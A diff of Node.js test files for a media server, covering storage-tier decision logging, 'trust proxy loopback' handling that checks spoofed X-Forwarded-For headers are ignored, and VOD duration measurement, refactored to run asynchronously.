- const call = (method, p, body, key = 'live-key-tierlog') => new Promise((resolve, reject) => {
- const data = body ? JSON.stringify(body) : '';
- const req = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method,
- headers: { Authorization: `Bearer ${key}`, 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } },
- (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });
- req.on('error', reject);
- req.end(data);
- });
- addVod(4, { views: 1 });
- const hold = model.placeHold({ object_id: db.get('SELECT object_id FROM vods WHERE id = 4').object_id, kind: 'creator_pin', reason: 'test' });
- let r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 4, target: 'r2' });
- assert.strictEqual(r.body.held, true);
- assert.deepStrictEqual([decisions(4)[0].outcome, decisions(4)[0].trigger], ['refused', 'admin']);
- assert.ok(/admin move to r2/.test(decisions(4)[0].reason));
- assert.strictEqual(JSON.parse(decisions(4)[0].inputs).held, true);
- model.releaseHold(hold.id, 'test');
- refusePutTo = 'r2-bucket';
- r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 4, target: 'r2' });
- refusePutTo = null;
- assert.strictEqual(r.body.ok, false);
- const failed = decisions(4)[1];
- assert.deepStrictEqual([failed.outcome, failed.action], ['failed', 'promote']);
- assert.ok(failed.error);
- r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 1, target: 'r2' });
- assert.strictEqual(decisions(1)[1].outcome, 'already', 'a promotion that finds it already there is logged too');
- // Restoring an R2 VOD to local drops its R2 copy: a demotion.
- await storage.moveToHot(1, { trigger: 'clip', reason: 'fetched to local disk to cut clip 9' });
- const hot = decisions(1)[2];
- assert.deepStrictEqual([hot.action, hot.from_provider, hot.to_provider, hot.outcome, hot.trigger], ['demote', 'r2', 'local', 'done', 'clip']);
- await storage.demoteFromR2(2, { trigger: 'drill', reason: 'R2 eviction drill: evict the R2 copy' });
- assert.deepStrictEqual([decisions(2)[1].outcome, decisions(2)[1].trigger], ['already', 'drill']);
- addVod(50, { app: 'games', views: 30, accessed: '-1 hours' });
- await storage.promoteToR2(50, { trigger: 'admin', reason: 'games' });
- console.log('✅ admin moves, clip hot-fetches and the drill are logged; refused (held), failed and already outcomes too');
+ // ── 2. Every other path and outcome: admin move (refused: held; failed: R2 down), clip hot-fetch, drill ──
+ const express = require('express');
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));
+ const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });
+ const call = (method, p, body, key = 'live-key-tierlog') => new Promise((resolve, reject) => {
+ const data = body ? JSON.stringify(body) : '';
+ const req = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method,
+ headers: { Authorization: `Bearer ${key}`, 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } },
+ (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });
+ req.on('error', reject);
+ req.end(data);
+ });
+ await addVod(4, { views: 1 });
+ const hold = await model.placeHold({ object_id: (await db.get('SELECT object_id FROM vods WHERE id = 4')).object_id, kind: 'creator_pin', reason: 'test' });
+ let r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 4, target: 'r2' });
+ assert.strictEqual(r.body.held, true);
+ assert.deepStrictEqual([(await decisions(4))[0].outcome, (await decisions(4))[0].trigger], ['refused', 'admin']);
+ assert.ok(/admin move to r2/.test((await decisions(4))[0].reason));
+ assert.strictEqual(JSON.parse((await decisions(4))[0].inputs).held, true);
+ await model.releaseHold(hold.id, 'test');
+ refusePutTo = 'r2-bucket';
+ r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 4, target: 'r2' });
+ refusePutTo = null;
+ assert.strictEqual(r.body.ok, false);
+ const failed = (await decisions(4))[1];
+ assert.deepStrictEqual([failed.outcome, failed.action], ['failed', 'promote']);
+ assert.ok(failed.error);
+ r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 1, target: 'r2' });
+ assert.strictEqual((await decisions(1))[1].outcome, 'already', 'a promotion that finds it already there is logged too');
+ // Restoring an R2 VOD to local drops its R2 copy: a demotion.
+ await storage.moveToHot(1, { trigger: 'clip', reason: 'fetched to local disk to cut clip 9' });
+ const hot = (await decisions(1))[2];
+ assert.deepStrictEqual([hot.action, hot.from_provider, hot.to_provider, hot.outcome, hot.trigger], ['demote', 'r2', 'local', 'done', 'clip']);
+ await storage.demoteFromR2(2, { trigger: 'drill', reason: 'R2 eviction drill: evict the R2 copy' });
+ assert.deepStrictEqual([(await decisions(2))[1].outcome, (await decisions(2))[1].trigger], ['already', 'drill']);
+ await addVod(50, { app: 'games', views: 30, accessed: '-1 hours' });
+ await storage.promoteToR2(50, { trigger: 'admin', reason: 'games' });
+ console.log('✅ admin moves, clip hot-fetches and the drill are logged; refused (held), failed and already outcomes too');
- // ── 3. The read-only staff policy endpoint and the decision list (app-scoped) ──
- r = await call('GET', '/api/v1/live/admin/storage/tiers/policy');
- assert.strictEqual(r.status, 200);
- const pol = r.body;
- assert.deepStrictEqual(pol.r2.thresholds.r2MinViews, { value: 20, default: 20, source: 'default' });
- assert.deepStrictEqual(pol.r2.thresholds.r2MaxIdleDays, { value: 14, default: 14, source: 'default' });
- assert.strictEqual(pol.r2.enabled, true);
- assert.ok(/view_count >= r2MinViews \(20\)/.test(pol.r2.promote) && /r2MaxIdleDays \(14 days\)/.test(pol.r2.demote));
- assert.strictEqual(pol.r2.provider.configured, true);
- assert.deepStrictEqual(pol.decisions.last_24h.promote, { done: 1, already: 1, refused: 1, failed: 1 });
- assert.deepStrictEqual(pol.decisions.last_24h.demote, { done: 2, already: 1, refused: 0, failed: 0 });
- assert.ok(pol.decisions.recent.every(x => x.vod_id !== 50), 'another app\'s decisions are not listed');
- assert.ok(pol.decisions.recent[0].inputs && pol.decisions.recent[0].thresholds, 'each decision carries its inputs and thresholds');
- await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { r2MinViews: 20 });
- r = await call('GET', '/api/v1/live/admin/storage/tiers/policy');
- assert.deepStrictEqual(r.body.r2.thresholds.r2MinViews, { value: 20, default: 20, source: 'setting' }, 'an override shows as a setting');
- r = await call('GET', '/api/v1/live/admin/storage/tiers/decisions?action=demote&limit=2');
- assert.deepStrictEqual([r.body.decisions.length, r.body.decisions.every(x => x.action === 'demote'), r.body.next_before_id != null], [2, true, true]);
- const next = await call('GET', `/api/v1/live/admin/storage/tiers/decisions?action=demote&limit=2&before_id=${r.body.next_before_id}`);
- assert.strictEqual(next.body.decisions.length, 1);
- r = await call('GET', '/api/v1/live/admin/storage/tiers/decisions?vod_id=4');
- assert.deepStrictEqual(r.body.decisions.map(x => x.outcome), ['failed', 'refused']);
- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/tiers/decisions?action=move')).status, 400);
- assert.strictEqual((await call('GET', '/api/v1/games/admin/storage/tiers/decisions', null, 'games-key-tierlog')).body.decisions.length, 1);
- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/tiers/policy', null, 'wrong-key')).status >= 401, true, 'staff only (the app key)');
- console.log('✅ GET /tiers/policy: thresholds with their source, the rules, 24 h counts and recent decisions; /tiers/decisions filters and pages');
+ // ── 3. The read-only staff policy endpoint and the decision list (app-scoped) ──
+ r = await call('GET', '/api/v1/live/admin/storage/tiers/policy');
+ assert.strictEqual(r.status, 200);
+ const pol = r.body;
+ assert.deepStrictEqual(pol.r2.thresholds.r2MinViews, { value: 20, default: 20, source: 'default' });
+ assert.deepStrictEqual(pol.r2.thresholds.r2MaxIdleDays, { value: 14, default: 14, source: 'default' });
+ assert.strictEqual(pol.r2.enabled, true);
+ assert.ok(/view_count >= r2MinViews \(20\)/.test(pol.r2.promote) && /r2MaxIdleDays \(14 days\)/.test(pol.r2.demote));
+ assert.strictEqual(pol.r2.provider.configured, true);
+ assert.deepStrictEqual(pol.decisions.last_24h.promote, { done: 1, already: 1, refused: 1, failed: 1 });
+ assert.deepStrictEqual(pol.decisions.last_24h.demote, { done: 2, already: 1, refused: 0, failed: 0 });
+ assert.ok(pol.decisions.recent.every(x => x.vod_id !== 50), 'another app\'s decisions are not listed');
+ assert.ok(pol.decisions.recent[0].inputs && pol.decisions.recent[0].thresholds, 'each decision carries its inputs and thresholds');
+ await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { r2MinViews: 20 });
+ r = await call('GET', '/api/v1/live/admin/storage/tiers/policy');
+ assert.deepStrictEqual(r.body.r2.thresholds.r2MinViews, { value: 20, default: 20, source: 'setting' }, 'an override shows as a setting');
+ r = await call('GET', '/api/v1/live/admin/storage/tiers/decisions?action=demote&limit=2');
+ assert.deepStrictEqual([r.body.decisions.length, r.body.decisions.every(x => x.action === 'demote'), r.body.next_before_id != null], [2, true, true]);
+ const next = await call('GET', `/api/v1/live/admin/storage/tiers/decisions?action=demote&limit=2&before_id=${r.body.next_before_id}`);
+ assert.strictEqual(next.body.decisions.length, 1);
+ r = await call('GET', '/api/v1/live/admin/storage/tiers/decisions?vod_id=4');
+ assert.deepStrictEqual(r.body.decisions.map(x => x.outcome), ['failed', 'refused']);
+ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/tiers/decisions?action=move')).status, 400);
+ assert.strictEqual((await call('GET', '/api/v1/games/admin/storage/tiers/decisions', null, 'games-key-tierlog')).body.decisions.length, 1);
+ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/tiers/policy', null, 'wrong-key')).status >= 401, true, 'staff only (the app key)');
+ console.log('✅ GET /tiers/policy: thresholds with their source, the rules, 24 h counts and recent decisions; /tiers/decisions filters and pages');
- server.close();
- s3.close();
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('\n✅ All tier decision tests passed');
- process.exit(0);
+ server.close();
+ s3.close();
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('\n✅ All tier decision tests passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -12,88 +12,90 @@ const http = require('http');
@@ -12,88 +12,90 @@ const http = require('http');
const { spawn } = require('child_process');
const { spawn } = require('child_process');
const express = require('express');
const express = require('express');
-const { TRUST_PROXY, clientIp } = require('../server/client-ip');
+(async () => {
+ const { TRUST_PROXY, clientIp } = require('../server/client-ip');
-const get = (host, port, p, headers = {}) => new Promise((resolve, reject) => {
- const req = http.request({ host, port, path: p, headers }, (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: b })); });
- req.on('error', reject);
- req.end();
-});
-const externalAddress = () => {
- for (const list of Object.values(os.networkInterfaces())) for (const a of list || []) if (a.family === 'IPv4' && !a.internal) return a.address;
- return null;
-};
+ const get = (host, port, p, headers = {}) => new Promise((resolve, reject) => {
+ const req = http.request({ host, port, path: p, headers }, (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: b })); });
+ req.on('error', reject);
+ req.end();
+ });
+ const externalAddress = () => {
+ for (const list of Object.values(os.networkInterfaces())) for (const a of list || []) if (a.family === 'IPv4' && !a.internal) return a.address;
+ return null;
+ };
-(async () => {
- assert.strictEqual(TRUST_PROXY, 'loopback');
+ (async () => {
+ assert.strictEqual(TRUST_PROXY, 'loopback');
- // ── 1. The setting, on an app like index.js's: loopback proxies are believed, nobody else ──
- const app = express();
- app.set('trust proxy', TRUST_PROXY);
- app.get('/ip', (req, res) => res.json({ ip: req.ip, client: clientIp(req) }));
- const server = await new Promise((r) => { const s = app.listen(0, '0.0.0.0', () => r(s)); });
- const port = server.address().port;
- let r = JSON.parse((await get('127.0.0.1', port, '/ip', { 'X-Forwarded-For': '203.0.113.7' })).body);
- assert.deepStrictEqual([r.ip, r.client], ['203.0.113.7', '203.0.113.7'], 'through the local proxy: the forwarded client');
- r = JSON.parse((await get('127.0.0.1', port, '/ip')).body);
- assert.ok(/127\.0\.0\.1$/.test(r.ip), `loopback caller without a proxy header: ${r.ip}`);
- const ext = externalAddress();
- if (ext) {
- r = JSON.parse((await get(ext, port, '/ip', { 'X-Forwarded-For': '198.51.100.9', 'CF-Connecting-IP': '198.51.100.9' })).body);
- assert.ok(r.ip.endsWith(ext) && r.client.endsWith(ext), `a direct caller cannot choose its IP (got ${r.ip})`);
- console.log('✅ a non-loopback peer\'s X-Forwarded-For / CF-Connecting-IP are ignored');
- } else {
- console.log('direct-caller check: skipped (no non-loopback interface)');
- }
- server.close();
- // The view counter keys on req.ip, not on the headers.
- assert.strictEqual(require('../server/views/service').clientIp({ ip: '192.0.2.4', headers: { 'cf-connecting-ip': '9.9.9.9', 'x-forwarded-for': '8.8.8.8' } }), '192.0.2.4');
- assert.strictEqual(clientIp({ socket: { remoteAddress: '::1' }, headers: {} }), '::1');
- console.log('✅ trust proxy loopback: the local proxy\'s forwarded address, else the socket; views key on req.ip');
+ // ── 1. The setting, on an app like index.js's: loopback proxies are believed, nobody else ──
+ const app = express();
+ app.set('trust proxy', TRUST_PROXY);
+ app.get('/ip', (req, res) => res.json({ ip: req.ip, client: clientIp(req) }));
+ const server = await new Promise((r) => { const s = app.listen(0, '0.0.0.0', () => r(s)); });
+ const port = server.address().port;
+ let r = JSON.parse((await get('127.0.0.1', port, '/ip', { 'X-Forwarded-For': '203.0.113.7' })).body);
+ assert.deepStrictEqual([r.ip, r.client], ['203.0.113.7', '203.0.113.7'], 'through the local proxy: the forwarded client');
+ r = JSON.parse((await get('127.0.0.1', port, '/ip')).body);
+ assert.ok(/127\.0\.0\.1$/.test(r.ip), `loopback caller without a proxy header: ${r.ip}`);
+ const ext = externalAddress();
+ if (ext) {
+ r = JSON.parse((await get(ext, port, '/ip', { 'X-Forwarded-For': '198.51.100.9', 'CF-Connecting-IP': '198.51.100.9' })).body);
+ assert.ok(r.ip.endsWith(ext) && r.client.endsWith(ext), `a direct caller cannot choose its IP (got ${r.ip})`);
+ console.log('✅ a non-loopback peer\'s X-Forwarded-For / CF-Connecting-IP are ignored');
+ } else {
+ console.log('direct-caller check: skipped (no non-loopback interface)');
+ }
+ server.close();
+ // The view counter keys on req.ip, not on the headers.
+ assert.strictEqual(require('../server/views/service').clientIp({ ip: '192.0.2.4', headers: { 'cf-connecting-ip': '9.9.9.9', 'x-forwarded-for': '8.8.8.8' } }), '192.0.2.4');
+ assert.strictEqual(clientIp({ socket: { remoteAddress: '::1' }, headers: {} }), '::1');
+ console.log('✅ trust proxy loopback: the local proxy\'s forwarded address, else the socket; views key on req.ip');
- // ── 2. index.js applies it (the real server, booted) ──
- const src = fs.readFileSync(path.join(__dirname, '../server/index.js'), 'utf8');
- assert.ok(!/set\('trust proxy',\s*true\)/.test(src), 'no trust-everyone left');
- const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-trust-'));
- const freePort = await new Promise((resolve) => { const s = net.createServer().listen(0, '127.0.0.1', () => { const p = s.address().port; s.close(() => resolve(p)); }); });
- const env = { ...process.env, DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: path.join(tmp, 'vods'), CLIPS_PATH: path.join(tmp, 'clips'), PASTES_PATH: path.join(tmp, 'pastes'),
- THUMBNAILS_PATH: path.join(tmp, 'thumbs'), FILES_PATH: path.join(tmp, 'files'), OBJECTS_PATH: path.join(tmp, 'objects'), PORT: String(freePort), HOST: ext ? '0.0.0.0' : '127.0.0.1',
- NODE_ENV: 'test', MEDIA_JOBS_ENABLED: '0', MEDIA_VERIFY_ENABLED: '0', MEDIA_OWNER_SUBJECT_SYNC: '0', EVENTS_URL: '', MEDIA_APP_KEYS: 'live:live-key-for-trust-test' };
- const child = spawn(process.execPath, [path.join(__dirname, '../server/index.js')], { env, stdio: ['ignore', 'pipe', 'pipe'] });
- let log = '';
- child.stdout.on('data', (d) => { log += d; });
- child.stderr.on('data', (d) => { log += d; });
- let up = false;
- for (let i = 0; i < 100 && !up; i++) {
- try { up = (await get('127.0.0.1', freePort, '/healthz')).status === 200; } catch { await new Promise((res) => setTimeout(res, 100)); }
- }
- assert.ok(up, `the server booted: ${log.slice(-500)}`);
- // /metrics answers loopback callers only and refuses anything that came through a proxy; with
- // trust proxy loopback, Express agrees the request came from the local proxy.
- const direct = await get('127.0.0.1', freePort, '/metrics');
- const proxied = await get('127.0.0.1', freePort, '/metrics', { 'X-Forwarded-For': '203.0.113.7' });
- assert.strictEqual(direct.status, 200);
- assert.strictEqual(proxied.status, 404, 'a proxied caller is not local');
- // The live-frame endpoint rate-limits per req.ip (burst 30). Through the local proxy every
- // forwarded client has its own bucket; a direct caller rotating X-Forwarded-For does not.
- const burst = async (host, n) => {
- let limited = 0;
- for (let i = 0; i < n; i++) {
- const res = await get(host, freePort, '/live/1/frame.jpg?format=json', { 'X-Forwarded-For': `198.51.100.${i + 1}` });
- if (res.status === 429) limited++;
+ // ── 2. index.js applies it (the real server, booted) ──
+ const src = fs.readFileSync(path.join(__dirname, '../server/index.js'), 'utf8');
+ assert.ok(!/set\('trust proxy',\s*true\)/.test(src), 'no trust-everyone left');
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-trust-'));
+ const freePort = await new Promise((resolve) => { const s = net.createServer().listen(0, '127.0.0.1', () => { const p = s.address().port; s.close(() => resolve(p)); }); });
+ const env = { ...process.env, DB_PATH: path.join(tmp, 'media.db'), MEDIA_PGLITE_DIR: path.join(tmp, 'pglite'), DATABASE_URL: '', DATABASE_DIRECT_URL: '', VALKEY_URL: '', VOD_PATH: path.join(tmp, 'vods'), CLIPS_PATH: path.join(tmp, 'clips'), PASTES_PATH: path.join(tmp, 'pastes'),
+ THUMBNAILS_PATH: path.join(tmp, 'thumbs'), FILES_PATH: path.join(tmp, 'files'), OBJECTS_PATH: path.join(tmp, 'objects'), PORT: String(freePort), HOST: ext ? '0.0.0.0' : '127.0.0.1',
+ NODE_ENV: 'test', MEDIA_JOBS_ENABLED: '0', MEDIA_VERIFY_ENABLED: '0', MEDIA_OWNER_SUBJECT_SYNC: '0', EVENTS_URL: '', MEDIA_APP_KEYS: 'live:live-key-for-trust-test' };
+ const child = spawn(process.execPath, [path.join(__dirname, '../server/index.js')], { env, stdio: ['ignore', 'pipe', 'pipe'] });
+ let log = '';
+ child.stdout.on('data', (d) => { log += d; });
+ child.stderr.on('data', (d) => { log += d; });
+ let up = false;
+ for (let i = 0; i < 100 && !up; i++) {
+ try { up = (await get('127.0.0.1', freePort, '/healthz')).status === 200; } catch { await new Promise((res) => setTimeout(res, 100)); }
}
}
- return limited;
- };
- assert.strictEqual(await burst('127.0.0.1', 45), 0, 'forwarded clients each get their own budget');
- if (ext) {
- const limited = await burst(ext, 45);
- assert.ok(limited > 0, 'a direct caller cannot mint new identities with X-Forwarded-For (the real server trusts loopback only)');
- }
- child.kill('SIGTERM');
- await new Promise((res) => child.on('exit', res));
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('✅ the booted server runs with trust proxy loopback');
+ assert.ok(up, `the server booted: ${log.slice(-500)}`);
+ // /metrics answers loopback callers only and refuses anything that came through a proxy; with
+ // trust proxy loopback, Express agrees the request came from the local proxy.
+ const direct = await get('127.0.0.1', freePort, '/metrics');
+ const proxied = await get('127.0.0.1', freePort, '/metrics', { 'X-Forwarded-For': '203.0.113.7' });
+ assert.strictEqual(direct.status, 200);
+ assert.strictEqual(proxied.status, 404, 'a proxied caller is not local');
+ // The live-frame endpoint rate-limits per req.ip (burst 30). Through the local proxy every
+ // forwarded client has its own bucket; a direct caller rotating X-Forwarded-For does not.
+ const burst = async (host, n) => {
+ let limited = 0;
+ for (let i = 0; i < n; i++) {
+ const res = await get(host, freePort, '/live/1/frame.jpg?format=json', { 'X-Forwarded-For': `198.51.100.${i + 1}` });
+ if (res.status === 429) limited++;
+ }
+ return limited;
+ };
+ assert.strictEqual(await burst('127.0.0.1', 45), 0, 'forwarded clients each get their own budget');
+ if (ext) {
+ const limited = await burst(ext, 45);
+ assert.ok(limited > 0, 'a direct caller cannot mint new identities with X-Forwarded-For (the real server trusts loopback only)');
+ }
+ child.kill('SIGTERM');
+ await new Promise((res) => child.on('exit', res));
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('✅ the booted server runs with trust proxy loopback');
- console.log('\n✅ All trust-proxy tests passed');
- process.exit(0);
+ console.log('\n✅ All trust-proxy tests passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -10,175 +10,177 @@ const os = require('os');
@@ -10,175 +10,177 @@ const os = require('os');
const path = require('path');
const path = require('path');
const { spawnSync } = require('child_process');
const { spawnSync } = require('child_process');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-duration-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.CLIPS_PATH = dir('clips');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.FILES_PATH = dir('files');
-process.env.PASTES_PATH = dir('pastes');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.MEDIA_JOBS_ENABLED = '0';
-
-const tools = require('../server/vod/media-tools');
-
-// ── 1. chooseDuration: measured values only, bounded by the recorder's run when known ──
-{
- const c = tools.chooseDuration;
- assert.deepStrictEqual(c({ probeS: 600.4 }), { seconds: 600.4, source: 'probe', issues: [] });
- assert.deepStrictEqual(c({ probeS: 0, remuxS: 590 }), { seconds: 590, source: 'remux', issues: [] }, 'no container duration: the packets');
- assert.deepStrictEqual(c({}), { seconds: 0, source: 'unknown', issues: ['probe_failed'] }, 'nothing measured: 0, unknown');
- const inflated = c({ probeS: 86400, remuxS: 600 });
- assert.deepStrictEqual([inflated.seconds, inflated.source], [600, 'remux'], 'a header far longer than the packets is corrupt');
- assert.ok(inflated.issues.includes('inflated_container_duration'));
- const bounded = c({ probeS: 5000, remuxS: 0, wallS: 600 });
- assert.deepStrictEqual([bounded.seconds, bounded.source], [0, 'unknown'], 'longer than the recorder ran: refused, and the wall clock is NOT used');
- assert.ok(bounded.issues.includes('inflated_duration'));
- assert.strictEqual(c({ probeS: 5000, remuxS: 590, wallS: 600 }).source, 'remux', 'the plausible measurement wins');
- assert.strictEqual(c({ probeS: 172800 }).seconds, 172800, 'no start time (orphan): no bound either, only measurements');
- assert.strictEqual(tools.lastProgressSeconds('frame=1 time=00:00:01.00 x\rframe=2 time=01:02:03.50 bitrate'), 3723.5);
- assert.strictEqual(tools.lastProgressSeconds('time=N/A'), 0);
- console.log('✅ chooseDuration: probe, else the packet timeline, else 0/unknown; bounded by the recorder run; never the wall clock');
-}
-
-const db = require('../server/db/database');
-const finalize = require('../server/vod/finalize');
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-
-const cols = db.all('PRAGMA table_info(vods)').map(c => c.name);
-assert.ok(cols.includes('duration_source'), 'vods.duration_source exists');
-
-const daysAgo = (d) => new Date(Date.now() - d * 864e5).toISOString().replace('T', ' ').slice(0, 19);
-function makeVod(file, { createdAt = daysAgo(2), wallDuration = 99999 } = {}) {
- const r = db.run(`INSERT INTO vods (app_id, user_id, title, file_path, is_recording, duration_seconds, created_at, is_public, visibility)
- VALUES ('live', 7, 'rec', ?, 1, ?, ?, 1, 'public')`, [file, wallDuration, createdAt]);
- return Number(r.lastInsertRowid);
-}
-const row = (id) => db.get('SELECT * FROM vods WHERE id = ?', [id]);
-
-const realTools = { ...tools };
-function restore() { Object.assign(tools, realTools); }
-
(async () => {
(async () => {
- // ── 2. Probe failure: 0 + needs_review + hidden; the live wall-clock estimate is not kept ──
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-duration-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.CLIPS_PATH = dir('clips');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.FILES_PATH = dir('files');
+ process.env.PASTES_PATH = dir('pastes');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.MEDIA_JOBS_ENABLED = '0';
+
+ const tools = require('../server/vod/media-tools');
+
+ // ── 1. chooseDuration: measured values only, bounded by the recorder's run when known ──
{
{
- const file = path.join(process.env.VOD_PATH, 'garbage.mp4');
- fs.writeFileSync(file, Buffer.alloc(20000, 7));
- const id = makeVod(file);
- tools.remuxForSeekingDetailed = async () => ({ ok: false, seconds: 0, error: 'ffmpeg remux exited 1' });
- tools.probeDuration = async () => ({ ok: false, seconds: 0, format: null, streams: [], error: 'unreadable' });
- tools.streamCopyDuration = async () => ({ ok: false, seconds: 0, error: 'no packets' });
- await finalize.finalizeVod(id);
- const v = row(id);
- assert.strictEqual(v.duration_seconds, 0, 'probe failure stores 0, not the recorder\'s wall-clock estimate');
- assert.strictEqual(v.duration_source, 'unknown');
- assert.strictEqual(v.health_status, 'needs_review');
- const issues = JSON.parse(v.health_issues_json);
- assert.ok(issues.includes('probe_failed') && issues.includes('remux_failed'), `issues: ${issues}`);
- assert.strictEqual(v.is_recording, 0);
- assert.strictEqual(v.is_public, 0, 'hidden until reviewed');
- assert.ok(v.quarantined_at);
-
- // A later finalize that can measure it lifts the quarantine (the vod.finalize retry job does this).
- tools.probeDuration = async () => ({ ok: true, seconds: 1234.4, format: { format_name: 'mp4' }, streams: [], error: null });
- await finalize.finalizeVod(id);
- const w = row(id);
- assert.deepStrictEqual([w.duration_seconds, w.duration_source, w.health_status], [1234, 'probe', 'ok']);
- assert.strictEqual(w.quarantined_at, null, 'quarantine lifted');
- assert.strictEqual(w.is_public, 1, 'back to the visibility its owner chose');
- restore();
- console.log('✅ probe failure: duration 0, duration_source unknown, needs_review, hidden; a later good finalize lifts it');
+ const c = tools.chooseDuration;
+ assert.deepStrictEqual(c({ probeS: 600.4 }), { seconds: 600.4, source: 'probe', issues: [] });
+ assert.deepStrictEqual(c({ probeS: 0, remuxS: 590 }), { seconds: 590, source: 'remux', issues: [] }, 'no container duration: the packets');
+ assert.deepStrictEqual(c({}), { seconds: 0, source: 'unknown', issues: ['probe_failed'] }, 'nothing measured: 0, unknown');
+ const inflated = c({ probeS: 86400, remuxS: 600 });
+ assert.deepStrictEqual([inflated.seconds, inflated.source], [600, 'remux'], 'a header far longer than the packets is corrupt');
+ assert.ok(inflated.issues.includes('inflated_container_duration'));
+ const bounded = c({ probeS: 5000, remuxS: 0, wallS: 600 });
+ assert.deepStrictEqual([bounded.seconds, bounded.source], [0, 'unknown'], 'longer than the recorder ran: refused, and the wall clock is NOT used');
+ assert.ok(bounded.issues.includes('inflated_duration'));
+ assert.strictEqual(c({ probeS: 5000, remuxS: 590, wallS: 600 }).source, 'remux', 'the plausible measurement wins');
+ assert.strictEqual(c({ probeS: 172800 }).seconds, 172800, 'no start time (orphan): no bound either, only measurements');
+ assert.strictEqual(tools.lastProgressSeconds('frame=1 time=00:00:01.00 x\rframe=2 time=01:02:03.50 bitrate'), 3723.5);
+ assert.strictEqual(tools.lastProgressSeconds('time=N/A'), 0);
+ console.log('✅ chooseDuration: probe, else the packet timeline, else 0/unknown; bounded by the recorder run; never the wall clock');
}
}
- // ── 3. Orphans (no start time) never use now - created_at; a bound applies only with a real start ──
- {
- const file = path.join(process.env.VOD_PATH, 'orphan.mp4');
- fs.writeFileSync(file, Buffer.alloc(20000, 1));
- const id = makeVod(file, { createdAt: daysAgo(3) });
- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 3601.2, error: null });
- tools.probeDuration = async () => ({ ok: true, seconds: 3600.8, format: {}, streams: [], error: null });
- await finalize.finalizeVod(id);
- const v = row(id);
- assert.deepStrictEqual([v.duration_seconds, v.duration_source], [3601, 'probe'], 'orphan: the measured length, not 3 days');
-
- const file2 = path.join(process.env.VOD_PATH, 'inflated.mp4');
- fs.writeFileSync(file2, Buffer.alloc(20000, 2));
- const id2 = makeVod(file2);
- tools.probeDuration = async () => ({ ok: true, seconds: 50000, format: {}, streams: [], error: null });
- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 50000, error: null });
- await finalize.finalizeVod(id2, { startTimeMs: Date.now() - 600 * 1000 });
- const w = row(id2);
- assert.deepStrictEqual([w.duration_seconds, w.duration_source, w.health_status], [0, 'unknown', 'needs_review'],
- 'longer than the recorder ran: 0 and review, where the old code stored the wall clock');
- assert.ok(JSON.parse(w.health_issues_json).includes('inflated_duration'));
-
- const file3 = path.join(process.env.VOD_PATH, 'header.mp4');
- fs.writeFileSync(file3, Buffer.alloc(20000, 3));
- const id3 = makeVod(file3);
- tools.probeDuration = async () => ({ ok: true, seconds: 90000, format: {}, streams: [], error: null });
- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 581, error: null });
- await finalize.finalizeVod(id3, { startTimeMs: Date.now() - 600 * 1000 });
- assert.deepStrictEqual([row(id3).duration_seconds, row(id3).duration_source, row(id3).health_status], [581, 'remux', 'ok'], 'the packet timeline when the header lies');
- restore();
- console.log('✅ orphans are measured, never now - created_at; impossible values need review; a lying header yields to the packets');
- }
+ const db = require('../server/db/database');
+ const finalize = require('../server/vod/finalize');
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
- // ── 4. Short, corrupt and stat-failure paths also drop the wall-clock estimate ──
- {
- const file = path.join(process.env.VOD_PATH, 'short.mp4');
